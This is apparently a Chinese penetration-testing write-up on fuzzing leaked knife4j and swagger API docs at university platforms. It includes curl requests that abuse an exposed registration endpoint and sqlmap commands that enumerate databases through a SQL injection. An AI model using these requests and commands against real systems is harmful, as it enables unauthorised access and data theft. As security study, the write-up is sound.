实战攻防3-从apifuzz到SQL注入(浙大高危)
在平时的渗透项目中经常会遇到一些 API 文档泄露,比如常见的 swagger 文档、knife4j 文档,在拿到这些文档之后我们可以对文档中的 API 接口进行模糊测试,测试未授权漏洞,要是参数报错,有机会打到 SQL 注入。
knife4j文档泄露
Knife4j 是一款专为 Java Spring Boot/Cloud 生态打造的 Swagger 增强解决方案,它在原生 Swagger 基础上提供了更美观的 UI 界面、强大的接口调试功能(如全局参数设置、离线文档导出为 Word/PDF/Markdown)、完善的认证支持以及高效的微服务文档聚合管理能力,帮助开发者通过简单的配置即可快速生成专业且易用的 API 文档。
案例1-浙大某云平台实验室

在获得这个文档的访问权限后可以尝试去调试每个接口,可以选定参数进行 fuzz,如下图:

发现这个接口未做鉴权,后续可以通过传参拿到系统其他数据,后面花了一番时间寻找,很可惜没有用户信息查询相关接口,但是发现一个文件上传接口:

尝试上传个 txt,返回了相对路径:

后面在另一个接口读取到上传的文件,发现只能是下载的形式:

没招了,getshell 失败,打一手未授权跑路。
docs文本泄露手动fuzz
案例2-某校友平台
有一些接口文档可能不是 swagger 或者 knife4j 文档便于自动调试的,这时候就需要自己构造数据包 fuzz 一下:

手动 fuzz 有很多种方法,我自己常用 BP 自己构造发包、Postman,或者直接 curl 命令,当然一些 BP 插件如 HAE、apikit 也可以试试。
这里以 curl 命令举例,一开始直接传参账号密码:
1 2 3 4 5 6 7
| curl -k -X POST "https://ip/prod-api/register" \ -H "Content-Type: application/json" \ -d '{ "username": "testuser", "password": "Test@123456" }' \ -v
|
发现回显,说明这个接口虽然前端不能用,但是依然存在并且能响应:

注意这里提示地区,我尝试发现不对 area,后续回去文档中才找到正确的参数 topDeptId:
1 2 3 4 5 6 7
| curl -k -X POST "https://ip/prod-api/register" \ -H "Content-Type: application/json" \ -d '{ "username": "testuser", "password": "Test@123456", "topDeptId":100 }' \ -v
|
接下来报错 Decryption error:

这其实和 RuoYi 传参有关,我们的 password 必须是经过前端 JS 加密的数据,那我们可以在登录框取一个加密数据:

1 2 3 4 5 6 7
| curl -k -X POST "https://ip/prod-api/register" \ -H "Content-Type: application/json" \ -d '{ "username": "testuser", "password": "ktfpBbZDIMPu6JN2STikCrt2Wq8VlKiPE/FPAgAXmJDkv2J6LWLf+p8BwlJMkzS5+ks5igvahX7m4mcS1zL+SRutfHub2Deq4lem52TxWOF7gJ7UfIiBqkIOGEFeizjCHyQR4L4/YjdsFuAGfBncHONK5cvgjHJO1z0GXAkhAhy11FwOo80WaadSxbWcStPBLWqYJDHZw1qJ2oqxbWnct8gugg7JVppmc+Y0tYIXqlbdbak7I/lCseZaCyfZfEYGIrLjl5grOcLsLFBGJwb/p3lufEVegQLA3THqceObG4du6hdYhrrAOSBEmMr04jtZphy42eOiI6L2m6be0MsLZQ==", "topDeptId":100 }' \ -v
|
这里成功了:

显示手机号为空那就继续 fuzz……
最后成功的请求体如下:
1 2 3 4 5 6 7 8 9 10 11
| curl -k -X POST "https://ip/prod-api/register" \ -H "Content-Type: application/json" \ -d "{ \"username\": \"hacker_test_02\", \"password\": \"QFssU6bezzf0Ixqzma8gIdeB09q5BWLbv4gqUW0sMc0HsR5VhYnTtpKGuHiilgW0KpfOq2e/m9BRTuXeVjrdzUipf5+pGz5nMsYmm6SQJP1d8Kt52RC6Nl3Lepa9fYC7Py2g09yOH6Tmz6x6skNqHCvAc42zaqfZVHHVY/H8zRJ3S835TAarrFAMRUFdCXVG7KLMrCYv74CgV42768kzlRq8uaVnphglWmDtqzUF9mbtrZUy20Wc35ACkdeBiKgJ3EkVNqq4kDMeGpNv4Wgt3u9D0tgGSGyY0oq6YMxy6pkRv14rZ2TQZVxk81thcamgV5GouauMcmt3AKuXgyjRpQ==\", \"phonenumber\": \"13800138010\", \"nickName\": \"测试用户\", \"code\": \"\", \"uuid\": \"$UUID\", \"topDeptId\": 100 }" -v
|
其中 uuid、topDeptId 根据报错回显内容在文档中一点点抠出来:

swagger未授权到SQL注入
案例三-浙大某研究院
Swagger(现核心规范称为 OpenAPI)是一套用于描述、生成、使用和可视化 RESTful Web 服务的开源框架,它通过标准化的 YAML 或 JSON 格式文档定义接口细节(如 URL、参数、返回值),不仅能自动生成交互式文档供开发者测试调试,还能自动生成多种语言的客户端 SDK 和服务端存根代码,极大地提升了前后端协作效率与 API 管理的规范性。
在遇到 swagger 也是可以直接平台调试,比手动 fuzz 更快。
尝试了很多接口,发现都有 token 校验直接报错了:

在一个接口中发现报错了,很可疑:

后面上 SQLMap 探测一手:
1
| python3 sqlmap.py -r zd.txt --batch
|

跑出文件读写权限:
1
| python3 sqlmap.py -r zd.txt --sql-query="SELECT @@secure_file_priv" --batch
|

只能向特定文件读写,很难 getshell 了:
1
| python3 sqlmap.py -r zd.txt --dbs --batch
|

跑出库名,评估影响后直接跑路。***